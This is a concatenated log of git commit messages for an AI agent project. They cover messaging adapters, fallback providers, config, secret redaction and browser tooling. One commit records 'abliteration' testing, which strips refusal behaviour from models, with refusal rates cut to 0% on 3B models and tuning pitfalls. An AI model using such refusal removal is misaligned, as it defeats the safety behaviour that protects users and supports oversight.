- hermes_cli/config.py: Add docker_volumes to DEFAULT_CONFIG with
inline documentation and examples
- cli.py: Add docker_volumes to load_cli_config defaults
- configuration.md: Full Docker Volume Mounts section with YAML
examples, use cases (providing files, receiving outputs, shared
workspaces), and env var alternative
Authored by aydnOktay. Improves URL validation with urlparse, adds exc_info
to error logs for full stack traces, and tightens type hints.
Resolved merge conflict in _handle_vision_analyze: kept PR's string formatting
with our AUXILIARY_VISION_MODEL env var logic.
MCP tests import from mcp.types but mcp wasn't in the dev optional
dependencies. Fresh 'pip install -e .[dev]' setups failed 3 tests.
Based on PR #427 by @teyrebaz33 (applied manually due to stale branch).
The 'hermes gateway setup' instructions for Slack were missing:
- The 'Subscribe to Events' step entirely (message.im, message.channels,
app_mention, message.groups)
- Several required scopes (app_mentions:read, groups:history, users:read,
files:write)
- Warning about bot only working in DMs without message.channels
- Step to invite the bot to channels
The 'hermes setup' flow (setup.py) and the website docs (slack.md)
already had the correct information — only gateway.py was outdated.
Reported by JordanB on Slack.
The #1 support issue with Slack is 'bot works in DMs but not channels'.
This is almost always caused by missing event subscriptions (message.channels,
message.groups) or missing OAuth scopes (channels:history, groups:history).
Changes:
- slack.md: Move channels:history and groups:history from optional to required
scopes. Move message.channels and message.groups to required events. Add new
'How the Bot Responds' section explaining DM vs channel behavior. Add Step 8
for inviting bot to channels. Expand troubleshooting table with specific
'works in DMs not channels' entry. Add quick checklist for channel debugging.
- setup.py: Expand Slack setup wizard with all required scopes, event
subscriptions, and a warning that without message.channels/message.groups
the bot only works in DMs. Add link to full docs. Improve Member ID
discovery instructions.
- config.py: Update SLACK_BOT_TOKEN and SLACK_APP_TOKEN descriptions to list
required scopes and event subscriptions inline.
Skills can now declare fallback_for_toolsets, fallback_for_tools,
requires_toolsets, and requires_tools in their SKILL.md frontmatter.
The system prompt builder filters skills automatically based on which
tools are available in the current session.
- Add _read_skill_conditions() to parse conditional frontmatter fields
- Add _skill_should_show() to evaluate conditions against available tools
- Update build_skills_system_prompt() to accept and apply tool availability
- Pass valid_tool_names and available toolsets from run_agent.py
- Backward compatible: skills without conditions always show; calling
build_skills_system_prompt() with no args preserves existing behavior
Closes#539
Implement send_document() and send_video() overrides in TelegramAdapter
so the agent can deliver files (PDFs, CSVs, docs, etc.) and videos as
native Telegram attachments instead of just printing the file path as
text.
The base adapter already routes MEDIA:<path> tags by extension — audio
goes to send_voice(), images to send_image_file(), and everything else
falls through to send_document(). But TelegramAdapter didn't override
send_document() or send_video(), so those fell back to plain text.
Now when the agent includes MEDIA:/path/to/report.pdf in its response,
users get a proper downloadable file attachment in Telegram.
Features:
- send_document: sends files via bot.send_document with display name,
caption (truncated to 1024), and reply_to support
- send_video: sends videos via bot.send_video with inline playback
- Both fall back to base class text if the Telegram API call fails
- 10 new tests covering success, custom filename, file-not-found,
not-connected, caption truncation, API error fallback, and reply_to
Requested by @TigerHixTang on Twitter.
- Register no-op app_mention event handler to suppress Bolt 404 errors.
The 'message' handler already processes @mentions in channels, so
app_mention is acknowledged without duplicate processing.
- Add send_document() for native file attachments (PDFs, CSVs, etc.)
via files_upload_v2, matching the pattern from Telegram PR #779.
- Add send_video() for native video uploads via files_upload_v2.
- Handle incoming document attachments from users: download, cache,
and inject text content for .txt/.md files (capped at 100KB),
following the same pattern as the Telegram adapter.
- Add _download_slack_file_bytes() helper for raw byte downloads.
- Add 24 new tests covering all new functionality.
Fixes the unhandled app_mention events reported in gateway logs.
Closes#643
Changes:
- /personality none|default|neutral — clears system prompt overlay
- Custom personalities in config.yaml support dict format with:
name, description, system_prompt, tone, style directives
- Backwards compatible — existing string format still works
- CLI + gateway both updated
- 18 tests covering none/default/neutral, dict format, string format,
list display, save to config
time.sleep(1) inside async def connect() blocks the entire event
loop for 1 second. Replaced with await asyncio.sleep(1) to yield
control back to the event loop while waiting for the killed port
process to release.
The full HERMES-AGENT ASCII logo needs ~95 columns, and the
side-by-side caduceus + tools panel needs ~80. In narrow terminals
(Kitty default, resized windows) everything wraps into visual garbage.
Fixes:
- show_banner() auto-detects terminal width and falls back to compact
banner when < 80 columns
- build_welcome_banner() skips the ASCII logo when < 95 columns
- Compact banner now dynamically sized via _build_compact_banner()
instead of a hardcoded 64-char box that also wrapped in narrow terms
- Same width checks applied to /clear command's banner refresh
The up/down arrow key issue in Kitty terminal for multiline input is
a known Kitty keyboard protocol (CSI u) vs prompt_toolkit compatibility
gap — arrow keys work correctly in standard terminals and tmux. Users
can work around it by running in tmux or setting TERM=xterm-256color.
Adds a 'find-nearby' skill for discovering nearby places using
OpenStreetMap (Overpass + Nominatim). No API keys needed. Works with:
- Coordinates (from Telegram location pins)
- Addresses, cities, zip codes, landmarks (auto-geocoded)
- Multiple place types (restaurant, cafe, bar, pharmacy, etc.)
Returns names, distances, cuisine, hours, addresses, and Google Maps
links (pin + directions). 184-line stdlib-only script.
Also adds Telegram location message handling:
- New MessageType.LOCATION in gateway base
- Telegram adapter handles LOCATION and VENUE messages
- Injects lat/lon coordinates into conversation context
- Prompts agent to ask what the user wants nearby
Inspired by PR #422 (reimplemented with simpler script and broader
skill scope — addresses/cities/zips, not just Telegram coordinates).
Selecting a saved custom provider now switches instantly without
probing /models — the model name is stored in the config entry
as a complete profile (name + url + key + model).
Changes:
- custom_providers entries now include 'model' field
- Selecting a saved provider with a model just activates it
- Only probes /models if no model is saved (first-time setup)
- Menu shows saved model name: 'Local (localhost:8000) — llama-70b'
- Dedup on re-entry: still activates the model, just doesn't add
a duplicate config entry (updates model name if changed)
When a user adds a custom endpoint via 'hermes model' → 'Custom
endpoint', it now automatically saves to custom_providers in
config.yaml so it persists and appears in the provider menu on
subsequent runs. Deduplicates by base_url.
Auto-generated names based on URL:
http://localhost:8000/v1 → 'Local (localhost:8000)'
https://xyz.runpod.ai/v1 → 'RunPod (xyz.runpod.ai)'
https://api.example.com/v1 → 'Api.example.com'
Also adds 'Remove a saved custom provider' option to the menu
(only shown when custom providers exist) with a selection UI
to pick which one to remove.
Users can also manually edit custom_providers in config.yaml
for full control over names and settings.
Users with multiple local servers or custom endpoints can now define
them all in config.yaml and switch between them from the model
selection menu:
custom_providers:
- name: 'Local Llama 70B'
base_url: 'http://localhost:8000/v1'
api_key: 'not-needed'
- name: 'RunPod vLLM'
base_url: 'https://xyz.runpod.ai/v1'
api_key: 'rp_xxxxx'
These appear in `hermes model` provider selection alongside the
built-in providers. When selected, the endpoint's /models API is
probed to show available models in a selection menu.
Previously only a single 'Custom endpoint' option existed, requiring
manual URL entry each time you wanted to switch between local servers.
Requested by @ZiarnoBobu on Twitter.
Add MCP sampling/createMessage capability via SamplingHandler class.
Text-only sampling + tool use in sampling with governance (rate limits,
model whitelist, token caps, tool loop limits). Per-server audit metrics.
Based on concept from PR #366 by eren-karakus0. Restructured as class-based
design with bug fixes and tests using real MCP SDK types.
50 new tests, 2600 total passing.
Some local LLM servers (llama-server, etc.) return message.content as
a dict or list instead of a plain string. This caused AttributeError
'dict object has no attribute strip' on every API call.
Normalizes content to string immediately after receiving the response:
- dict: extracts 'text' or 'content' field, falls back to json.dumps
- list: extracts text parts (OpenAI multimodal content format)
- other: str() conversion
Applied at the single point where response.choices[0].message is read
in the main agent loop, so all downstream .strip()/.startswith()/[:100]
operations work regardless of server implementation.
Closes#759
_FakeReadResult and _FakeSearchResult now expose the attributes
that read_file_tool/search_tool access after the redact_sensitive_text
integration from main.
Combine read/search loop detection with main's redact_sensitive_text
and truncation hint features. Add tracker reset to TestSearchHints
to prevent cross-test state leakage.
When switching FROM Codex/Nous/custom TO OpenRouter via 'hermes setup',
the old provider stayed active because setup only saved the API key but
never updated config.yaml or auth.json. This caused resolve_provider()
to keep returning the old provider (e.g. openai-codex) even after the
user selected OpenRouter.
Fix: the OpenRouter path in setup now deactivates any OAuth provider
in auth.json and writes model.provider='openrouter' to config.yaml,
matching what all other provider paths already do.
Added pitfalls discovered during live abliteration testing:
- Models < 1B have fragmented refusal, respond poorly (0.5B: 60%→20%)
- Models 3B+ work much better (3B: 75%→0% with advanced defaults)
- aggressive method can backfire on small models (made it worse)
- Spectral certification RED is common even when refusal rate is 0%
- Fixed torch property: total_mem → total_memory
Three issues caused the gateway to display 'openrouter' instead of
'Custom endpoint' when users configured a custom OAI-compatible endpoint:
1. hermes setup: custom endpoint path saved OPENAI_BASE_URL and
OPENAI_API_KEY to .env but never wrote model.provider to config.yaml.
All other providers (Codex, z.ai, Kimi, etc.) call
_update_config_for_provider() which sets this — custom was the only
path that skipped it. Now writes model.provider='custom' and
model.base_url to config.yaml.
2. hermes model: custom endpoint set model.provider='auto' in config.yaml.
The CLI display had a hack to detect OPENAI_BASE_URL and override to
'custom', but the gateway didn't. Now sets model.provider='custom'
directly.
3. gateway /model and /provider commands: defaulted to 'openrouter' and
read config.yaml — which had no provider set. Added OPENAI_BASE_URL
detection fallback (same pattern the CLI uses) as a defensive catch
for existing users who set up before this fix.
Add configurable bot message filtering via DISCORD_ALLOW_BOTS env var:
- 'none' (default): Ignore all other bot messages — matches previous
behavior where only our own bot was filtered, but now ALL bots are
filtered by default for cleaner channels
- 'mentions': Accept bot messages only when they @mention our bot —
useful for bot-to-bot workflows triggered by mentions
- 'all': Accept all bot messages — for setups where bots need to
interact freely
Previously, we only ignored our own bot's messages, allowing all other
bots through. This could cause noisy loops in channels with multiple bots.
8 new tests covering all filter modes and edge cases.
Inspired by openclaw v2026.3.7 Discord allowBots: 'mentions' config.
Enforce owner-only permissions on files and directories that contain
secrets or sensitive data:
- cron/jobs.py: jobs.json (0600), cron dirs (0700), job output files (0600)
- hermes_cli/config.py: config.yaml (0600), .env (0600), ~/.hermes/* dirs (0700)
- cli.py: config.yaml via save_config_value (0600)
All chmod calls use try/except for Windows compatibility.
Includes _secure_file() and _secure_dir() helpers with graceful fallback.
8 new tests verify permissions on all file types.
Inspired by openclaw v2026.3.7 file permission enforcement.
Prevents unnecessary Anthropic prompt cache misses by reusing stored
system prompts for continuing sessions and stabilizing Honcho context
per session instead of per turn.
Two changes to prevent unnecessary Anthropic prompt cache misses in the
gateway, where a fresh AIAgent is created per user message:
1. Reuse stored system prompt for continuing sessions:
When conversation_history is non-empty, load the system prompt from
the session DB instead of rebuilding from disk. The model already has
updated memory in its conversation history (it wrote it!), so
re-reading memory from disk produces a different system prompt that
breaks the cache prefix.
2. Stabilize Honcho context per session:
- Only prefetch Honcho context on the first turn (empty history)
- Bake Honcho context into the cached system prompt and store to DB
- Remove the per-turn Honcho injection from the API call loop
This ensures the system message is identical across all turns in a
session. Previously, re-fetching Honcho could return different context
on each turn, changing the system message and invalidating the cache.
Both changes preserve the existing behavior for compression (which
invalidates the prompt and rebuilds from scratch) and for the CLI
(where the same AIAgent persists and the cached prompt is already
stable across turns).
Tests: 2556 passed (6 new)
Moved redact_secrets out of DEFAULT_CONFIG (it's on by default when
unset) and into the commented sections at the bottom of config.yaml,
alongside fallback_model. Users can see the option and uncomment to
disable.
New config option:
security:
redact_secrets: false # default: true
When set to false, API keys, tokens, and passwords are shown in
full in read_file, search_files, and terminal output. Useful for
debugging auth issues where you need to verify the actual key value.
Bridged to both CLI and gateway via HERMES_REDACT_SECRETS env var.
The check is in redact_sensitive_text() itself, so all call sites
(terminal, file tools, log formatter) respect it.
Terminal output was already redacted via redact_sensitive_text() but
read_file and search_files returned raw content. Now both tools
redact secrets before returning results to the LLM.
Based on PR #372 by @teyrebaz33 (closes#363) — applied manually
due to branch conflicts with the current codebase.
Authored by @ch3ronsa. Fixes UnicodeEncodeError/UnicodeDecodeError on
Windows with non-UTF-8 system locales (e.g. Turkish cp1254).
Adds encoding='utf-8' to 10 open() calls across gateway/session.py,
gateway/channel_directory.py, and gateway/mirror.py.
Uses temp file + fsync + os.replace() to avoid corruption if the
process crashes mid-write. Cleans up temp file on failure, logs
errors at debug level.
Based on PR #335 by @aydnOktay — adapted for the current v2
manifest format (name:hash).
The wizard and tools_command each loaded their own config dict. When
tools_command saved platform_toolsets (with MoA/HA disabled), the
wizard's final save_config() overwrote it with its own dict that lacked
platform_toolsets entirely — resetting everything to defaults.
Fix: pass the wizard's config dict into tools_command so they share the
same object. Now platform_toolsets survives the wizard's final save.
MCP server subprocess env is filtered through _build_safe_env() which
only passes safe baseline vars (PATH, HOME, XDG_*) plus whatever is
explicitly in the config's env: block. Env vars from ~/.hermes/.env
are NOT inherited by MCP subprocesses. The key must go directly in
the config.yaml mcp_servers.agentmail.env section.
AgentMail requires a third-party API key (free tier available, paid
plans from $20/mo) — not appropriate for bundled skills that show
up in every user's system prompt.
Added a Requirements section at the top with clear instructions
to add AGENTMAIL_API_KEY to ~/.hermes/.env. Streamlined setup steps
to avoid duplicating the key in both .env and config.yaml.
Three fixes:
1. Web search provider menu now says 'Select Search Provider' and notes
that a free DuckDuckGo search skill is included if Firecrawl isn't
desired. Supports custom setup_title/setup_note per TOOL_CATEGORIES.
2. All multi-provider menus (web, browser, TTS) now include a
'Skip — keep defaults / configure later' option so users can move on.
3. First-install flow now walks through ALL tools with provider options
(browser, TTS, web, image_gen, etc.), not just ones missing API keys.
Previously, tools with a free provider (browser/Local, TTS/Edge) were
silently skipped — users never got to choose between Local vs
Browserbase or Edge vs ElevenLabs.
The summary message was always injected as 'user' role, which causes
consecutive user messages when the last preserved head message is also
'user'. Some APIs reject this (400 error), and it produces malformed
training data.
Fix: check the role of the last head message and pick the opposite role
for the summary — 'user' after assistant/tool, 'assistant' after user.
Based on PR #328 by johnh4098. Closes#328.
On fresh installs, the multi-level curses menu flow (platform menu →
checklist → loop back → Done) was unreliable — users could end up
skipping API key configuration entirely.
Now the setup wizard passes first_install=True to tools_command(), which:
- Skips the platform selection menu entirely
- Goes straight to the tool checklist
- Prompts for API keys on ALL selected tools that need them
- Linear flow, no loop — impossible to accidentally skip
Returning users (hermes tools / hermes setup tools) get the existing
platform menu loop as before.
New users shouldn't have these pre-checked in the tool configurator:
- MoA requires OpenRouter API key and is a niche feature
- Home Assistant requires HASS_TOKEN and most users don't have one
- RL Training requires Tinker + WandB keys
They're still available in the checklist to enable, just not pre-selected.
Existing users with saved platform_toolsets are unaffected.
Two issues fixed:
1. (Critical) hermes setup tools / hermes tools: On first-time setup,
the tool checklist showed all tools as pre-selected (from the default
hermes-cli toolset), but after confirming the selection, NO API key
prompts appeared. This is because the code only prompted for 'newly
added' tools (added = new_enabled - current_enabled), but since all
tools were already in the default set, 'added' was always empty.
Fix: Detect first-time configuration (no platform_toolsets entry in
config) and check ALL enabled tools for missing API keys, not just
newly added ones. Returning users still only get prompted for newly
added tools (preserving skip behavior).
2. install.sh: When run via curl|bash on WSL2/Ubuntu, ripgrep and ffmpeg
install was silently skipped with a confusing 'Non-interactive mode'
message. The script already uses /dev/tty for the setup wizard, but
the system package section didn't.
Fix: Try reading from /dev/tty when available (same pattern as the
build-tools section and setup wizard). Only truly skip when no
terminal is available at all (Docker build, CI).
Split fallback provider handling into two clean registries:
_FALLBACK_API_KEY_PROVIDERS — env-var-based (openrouter, zai, kimi, minimax)
_FALLBACK_OAUTH_PROVIDERS — OAuth-based (openai-codex, nous)
New _resolve_fallback_credentials() method handles all three cases
(OAuth, API key, custom endpoint) and returns a uniform (key, url, mode)
tuple. _try_activate_fallback() is now just validation + client build.
Adds Nous Portal as a fallback provider — uses the same OAuth flow
as the primary provider (hermes login), returns chat_completions mode.
OAuth providers get credential refresh for free: the existing 401
retry handlers (_try_refresh_codex/nous_client_credentials) check
self.provider, which is set correctly after fallback activation.
4 new tests (nous activation, nous no-login, codex retained).
27 total fallback tests passing, 2548 full suite.
Codex OAuth uses a different auth flow (OAuth tokens, not env vars)
and a different API mode (codex_responses, not chat_completions).
The fallback now handles this specially:
- Resolves credentials via resolve_codex_runtime_credentials()
- Sets api_mode to codex_responses
- Fails gracefully if no Codex OAuth session exists
Also added to the commented-out config.yaml example.
2 new tests (codex activation + graceful failure).
AGENTS.md is read by AI agents in their context window. Every line
costs tokens. The previous version had grown to 927 lines with
user-facing documentation that duplicates website/docs/:
Removed (belongs in website/docs/, not agent context):
- Full CLI commands table (50 lines)
- Full gateway slash commands list (20 lines)
- Messaging gateway setup, config examples, security details
- DM pairing system details
- Event hooks format and examples
- Tool progress notification details
- Full environment variables reference
- Auxiliary model configuration section (60 lines)
- Background process management details
- Trajectory format details
- Batch processing CLI usage
- Skills system directory tree and hub details
- Dangerous command approval flow details
- Platform toolsets listing
Kept (essential for agents modifying code):
- Project structure (condensed to key files only)
- File dependency chain
- AIAgent class signature and loop mechanics
- How to add tools (3 files, full pattern)
- How to add config (config.yaml + .env patterns)
- How to add CLI commands
- Config loader table (two separate systems)
- Prompt caching policy (critical constraint)
- All known pitfalls
- Test commands
The gateway had a SEPARATE compression system ('session hygiene')
with hardcoded thresholds (100k tokens / 200 messages) that were
completely disconnected from the model's context length and the
user's compression config in config.yaml. This caused premature
auto-compression on Telegram/Discord — triggering at ~60k tokens
(from the 200-message threshold) or inconsistent token counts.
Changes:
- Gateway hygiene now reads model name from config.yaml and uses
get_model_context_length() to derive the actual context limit
- Compression threshold comes from compression.threshold in
config.yaml (default 0.85), same as the agent's ContextCompressor
- Removed the message-count-based trigger (was redundant and caused
false positives in tool-heavy sessions)
- Removed the undocumented session_hygiene config section — the
standard compression.* config now controls everything
- Env var overrides (CONTEXT_COMPRESSION_THRESHOLD,
CONTEXT_COMPRESSION_ENABLED) are respected
- Warn threshold is now 95% of model context (was hardcoded 200k)
- Updated tests to verify model-aware thresholds, scaling across
models, and that message count alone no longer triggers compression
For claude-opus-4.6 (200k context) at 85% threshold: gateway
hygiene now triggers at 170k tokens instead of the old 100k.
Adds a simple config option to play the terminal bell (\a) when the
agent finishes a response. Useful for long-running tasks — switch to
another window and your terminal will ding when done.
Works over SSH since the bell character propagates through the
connection. Most terminal emulators can be configured to flash the
taskbar, play a sound, or show a visual indicator on bell.
Config (default: off):
display:
bell_on_complete: true
Closes#318
New browser capabilities and a built-in skill for agent-driven web QA.
## New tool: browser_console
Returns console messages (log/warn/error/info) AND uncaught JavaScript
exceptions in a single call. Uses agent-browser's 'console' and 'errors'
commands through the existing session plumbing. Supports --clear to reset
buffers. Verified working in both local and Browserbase cloud modes.
## Enhanced tool: browser_vision(annotate=True)
New boolean parameter on browser_vision. When true, agent-browser overlays
numbered [N] labels on interactive elements — each [N] maps to ref @eN.
Annotation data (element name, role, bounding box) returned alongside the
vision analysis. Useful for QA reports and spatial reasoning.
## Config: browser.record_sessions
Auto-record browser sessions as WebM video files when enabled:
- Starts recording on first browser_navigate
- Stops and saves on browser_close
- Saves to ~/.hermes/browser_recordings/
- Works in both local and cloud modes (verified)
- Disabled by default
## Built-in skill: dogfood
Systematic exploratory QA testing for web applications. Teaches the agent
a 5-phase workflow:
1. Plan — accept URL, create output dirs, set scope
2. Explore — systematic crawl with annotated screenshots
3. Collect Evidence — screenshots, console errors, JS exceptions
4. Categorize — severity (Critical/High/Medium/Low) and category
(Functional/Visual/Accessibility/Console/UX/Content)
5. Report — structured markdown with per-issue evidence
Includes:
- skills/dogfood/SKILL.md — full workflow instructions
- skills/dogfood/references/issue-taxonomy.md — severity/category defs
- skills/dogfood/templates/dogfood-report-template.md — report template
## Tests
21 new tests covering:
- browser_console message/error parsing, clear flag, empty/failed states
- browser_console schema registration
- browser_vision annotate schema and flag passing
- record_sessions config defaults and recording lifecycle
- Dogfood skill file existence and content validation
Addresses #315.
Remove fallback_model from DEFAULT_CONFIG (empty strings were useless
noise). Instead, save_config() appends a commented-out section at the
bottom of config.yaml showing the available providers and example usage.
When the user actually configures fallback_model, it appears as normal
YAML and the comment block is omitted.
Comprehensive 16-point checklist covering every integration point
needed when adding a new messaging platform to the gateway. Built
from the Signal integration experience where 7 integration points
were initially missed.
Covers: adapter, config enum, factory, auth maps, session source,
prompt hints, toolsets, cron delivery, send_message tool, cronjob
tool schema, channel directory, status display, setup wizard,
redaction, documentation, and tests.
Remove hallucinated providers (openai, deepseek, together, groq,
fireworks, mistral, gemini, nous) from the fallback provider map.
These don't exist in hermes-agent's provider system.
The real supported providers for fallback are:
openrouter (OPENROUTER_API_KEY)
zai (ZAI_API_KEY)
kimi-coding (KIMI_API_KEY)
minimax (MINIMAX_API_KEY)
minimax-cn (MINIMAX_CN_API_KEY)
For any other OpenAI-compatible endpoint, users can use the
base_url + api_key_env overrides in the config.
Also adds Kimi User-Agent header for kimi fallback (matching
the main provider system).
The config comment now shows the complete list of built-in providers
that the fallback system supports, each with the env var it reads
for the API key. Also clarifies that custom OpenAI-compatible endpoints
work via base_url + api_key_env.
- website/docs/user-guide/messaging/signal.md: Full setup guide with
prerequisites, step-by-step instructions, access policies, features,
troubleshooting, security notes, and env var reference
- website/docs/user-guide/messaging/index.md: Added Signal to architecture
diagram, platform toolset table, security examples, and Next Steps links
- website/docs/reference/environment-variables.md: All 7 SIGNAL_* env vars
- README.md: Signal in feature table and documentation table
- AGENTS.md: Signal in gateway description and env var config section
All documentation migrated to website/docs/ (Docusaurus). The docs/
directory only contained:
- README.md: redirect saying 'docs moved to website' (redundant)
- send_file_integration_map.md: internal engineering notes, unreferenced
by any file in the codebase
The landing page at landingpage/ is still actively used by the
deploy-site.yml GitHub Actions workflow.
When the primary model/provider fails after retries (rate limit, overload,
auth errors, connection failures), Hermes automatically switches to a
configured fallback model for the remainder of the session.
Config (in ~/.hermes/config.yaml):
fallback_model:
provider: openrouter
model: anthropic/claude-sonnet-4
Supports all major providers: OpenRouter, OpenAI, Nous, DeepSeek, Together,
Groq, Fireworks, Mistral, Gemini — plus custom endpoints via base_url and
api_key_env overrides.
Design principles:
- Dead simple: one fallback model, not a chain
- One-shot: switches once, doesn't ping-pong back
- Zero new dependencies: uses existing OpenAI client
- Minimal code: ~100 lines in run_agent.py, ~5 lines in cli.py/gateway
- Three trigger points: max retries exhausted, non-retryable client errors,
and invalid response exhaustion
Does NOT trigger on context overflow or payload-too-large errors (those
are handled by the existing compression system).
Addresses #737.
25 new tests, 2492 total passing.
Complete Signal adapter using signal-cli daemon HTTP API.
Based on PR #268 by ibhagwan, rebuilt on current main with bug fixes.
Architecture:
- SSE streaming for inbound messages with exponential backoff (2s→60s)
- JSON-RPC 2.0 for outbound (send, typing, attachments, contacts)
- Health monitor detects stale SSE connections (120s threshold)
- Phone number redaction in all logs and global redact.py
Features:
- DM and group message support with separate access policies
- DM policies: pairing (default), allowlist, open
- Group policies: disabled (default), allowlist, open
- Attachment download with magic-byte type detection
- Typing indicators (8s refresh interval)
- 100MB attachment size limit, 8000 char message limit
- E.164 phone + UUID allowlist support
Integration:
- Platform.SIGNAL enum in gateway/config.py
- Signal in _is_user_authorized() allowlist maps (gateway/run.py)
- Adapter factory in _create_adapter() (gateway/run.py)
- user_id_alt/chat_id_alt fields in SessionSource for UUIDs
- send_message tool support via httpx JSON-RPC (not aiohttp)
- Interactive setup wizard in 'hermes gateway setup'
- Connectivity testing during setup (pings /api/v1/check)
- signal-cli detection and install guidance
Bug fixes from PR #268:
- Timestamp reads from envelope_data (not outer wrapper)
- Uses httpx consistently (not aiohttp in send_message tool)
- SIGNAL_DEBUG scoped to signal logger (not root)
- extract_images regex NOT modified (preserves group numbering)
- pairing.py NOT modified (no cross-platform side effects)
- No dual authorization (adapter defers to run.py for user auth)
- Wildcard uses set membership ('*' in set, not list equality)
- .zip default for PK magic bytes (not .docx)
No new Python dependencies — uses httpx (already core).
External requirement: signal-cli daemon (user-installed).
Tests: 30 new tests covering config, init, helpers, session source,
phone redaction, authorization, and send_message integration.
Co-authored-by: ibhagwan <ibhagwan@users.noreply.github.com>
The gateway had a SEPARATE compression system ('session hygiene')
with hardcoded thresholds (100k tokens / 200 messages) that were
completely disconnected from the model's context length and the
user's compression config in config.yaml. This caused premature
auto-compression on Telegram/Discord — triggering at ~60k tokens
(from the 200-message threshold) or inconsistent token counts.
Changes:
- Gateway hygiene now reads model name from config.yaml and uses
get_model_context_length() to derive the actual context limit
- Compression threshold comes from compression.threshold in
config.yaml (default 0.85), same as the agent's ContextCompressor
- Removed the message-count-based trigger (was redundant and caused
false positives in tool-heavy sessions)
- Removed the undocumented session_hygiene config section — the
standard compression.* config now controls everything
- Env var overrides (CONTEXT_COMPRESSION_THRESHOLD,
CONTEXT_COMPRESSION_ENABLED) are respected
- Warn threshold is now 95% of model context (was hardcoded 200k)
- Updated tests to verify model-aware thresholds, scaling across
models, and that message count alone no longer triggers compression
For claude-opus-4.6 (200k context) at 85% threshold: gateway
hygiene now triggers at 170k tokens instead of the old 100k.
All failure paths in _run_browser_command now log at WARNING level,
which means they automatically land in ~/.hermes/logs/errors.log
(the persistent error log captures WARNING+).
What's now logged:
- agent-browser CLI not found (warning)
- Session creation failure with task ID (warning)
- Command entry with socket_dir path and length (debug)
- Non-zero return code with stderr (warning)
- Non-JSON output from agent-browser (warning — version mismatch/crash)
- Command timeout with task ID and socket path (warning)
- Unexpected exceptions with full traceback (warning + exc_info)
- browser_vision: which model is used and screenshot size (debug)
- browser_vision: LLM analysis failure with full traceback (warning)
Also fixed: _get_vision_model() was called twice in browser_vision —
now called once and reused.
Adds a simple config option to play the terminal bell (\a) when the
agent finishes a response. Useful for long-running tasks — switch to
another window and your terminal will ding when done.
Works over SSH since the bell character propagates through the
connection. Most terminal emulators can be configured to flash the
taskbar, play a sound, or show a visual indicator on bell.
Config (default: off):
display:
bell_on_complete: true
Closes#318
macOS sets TMPDIR to /var/folders/xx/.../T/ (~51 chars). Combined with
agent-browser session names, socket paths reach 121 chars — exceeding
the 104-byte macOS AF_UNIX limit. This causes 'Screenshot file was not
created' errors and silent browser_vision failures on macOS.
Fix: use /tmp/ on macOS (symlink to /private/tmp, sticky-bit protected).
On Linux, tempfile.gettempdir() already returns /tmp — no behavior change.
Changes in browser_tool.py:
- Add _socket_safe_tmpdir() helper — returns /tmp on macOS, gettempdir()
elsewhere
- Replace all 3 tempfile.gettempdir() calls for socket dirs
- Set mode=0o700 on socket dirs for privacy (was using default umask)
- Guard vision/text client init with try/except — a broken auxiliary
config no longer prevents the entire browser_tool module from importing
(which would disable all 10 browser tools, not just vision)
- Improve screenshot error messages with mode info and diagnostic hints
- Don't delete screenshots when LLM analysis fails — the capture was
valid, only the vision API call failed. Screenshots are still cleaned
up by the existing 24-hour _cleanup_old_screenshots mechanism.
Changes in code_execution_tool.py:
- Same /tmp fix for RPC socket path (was 103 chars on macOS — one char
from the 104-byte limit)
Enhancements to the Solana blockchain skill (PR #212 by gizdusum):
- CoinGecko price integration (free, no API key)
- Wallet shows tokens with USD values, sorted by value
- Token info includes price and market cap
- Transaction details show USD amounts for balance changes
- Whale detector shows USD alongside SOL amounts
- Stats includes SOL price and market cap
- New `price` command for quick lookups by symbol or mint
- Smart wallet output
- Tokens sorted by USD value (highest first)
- Default limit of 20 tokens (--limit N to adjust)
- Dust filtering (< $0.01 tokens hidden, count shown)
- --all flag to see everything
- --no-prices flag for fast RPC-only mode
- NFT summary (count + first 10)
- Portfolio total in USD
- Token name resolution
- 25+ well-known tokens mapped (SOL, USDC, BONK, JUP, etc.)
- CoinGecko fallback for unknown tokens
- Abbreviated mint addresses for unlabeled tokens
- Reliability
- Retry with exponential backoff on 429 rate-limit (RPC + CoinGecko)
- Graceful degradation when price data unavailable
- Capped API calls to respect CoinGecko free-tier limits
- Updated SKILL.md with all new capabilities and flags
When the agent is interrupted, the model now receives descriptive
context instead of a generic 'Operation interrupted.' string:
- Tool skip messages include the tool name:
'[Tool execution cancelled — terminal was skipped due to user interrupt]'
'[Tool execution skipped — web_search was not started. User sent a new message]'
- API call interrupts include timing:
'Operation interrupted: waiting for model response (4.2s elapsed).'
- Retry/error interrupts include retry context:
'Operation interrupted: retrying API call after rate limit (retry 2/5).'
'Operation interrupted: handling API error (Timeout: connection timed out).'
This helps the model understand what was happening when it was
interrupted, reducing wasted iterations spent re-discovering state.
Solana blockchain queries are a niche use case — not needed by every user.
Moved from skills/ (bundled) to optional-skills/ (installable via Skills Hub).
The 'openai' provider was redundant — using OPENAI_BASE_URL +
OPENAI_API_KEY with provider: 'main' already covers direct OpenAI API.
Provider options are now: auto, openrouter, nous, codex, main.
- Removed _try_openai(), _OPENAI_AUX_MODEL, _OPENAI_BASE_URL
- Replaced openai tests with codex provider tests
- Updated all docs to remove 'openai' option and clarify 'main'
- 'main' description now explicitly mentions it works with OpenAI API,
local models, and any OpenAI-compatible endpoint
Tests: 2467 passed.
The Codex Responses API (chatgpt.com/backend-api/codex) supports
vision via gpt-5.3-codex. This was verified with real API calls
using image analysis.
Changes to _CodexCompletionsAdapter:
- Added _convert_content_for_responses() to translate chat.completions
multimodal format to Responses API format:
- {type: 'text'} → {type: 'input_text'}
- {type: 'image_url', image_url: {url: '...'}} → {type: 'input_image', image_url: '...'}
- Fixed: removed 'stream' from resp_kwargs (responses.stream() handles it)
- Fixed: removed max_output_tokens and temperature (Codex endpoint rejects them)
Provider changes:
- Added 'codex' as explicit auxiliary provider option
- Vision auto-fallback now includes Codex (OpenRouter → Nous → Codex)
since gpt-5.3-codex supports multimodal input
- Updated docs with Codex OAuth examples
Tested with real Codex OAuth token + ~/.hermes/image2.png — confirmed
working end-to-end through the full adapter pipeline.
Tests: 2459 passed.
The Codex model normalization was rejecting any model without 'codex'
in its name, forcing a fallback to gpt-5.3-codex. This blocked models
like gpt-5.4 that the Codex API actually supports.
The fix simplifies _normalize_model_for_provider() to two operations:
1. Strip provider prefixes (API needs bare slugs)
2. Replace the *untouched default* model with a Codex-compatible one
If the user explicitly chose a model — any model — we trust them and
let the API be the judge. No allowlists, no slug checks.
Also removes the 'codex not in slug' filter from _read_cache_models()
so the local cache preserves all API-available models.
Inspired by OpenClaw's approach which explicitly lists non-codex models
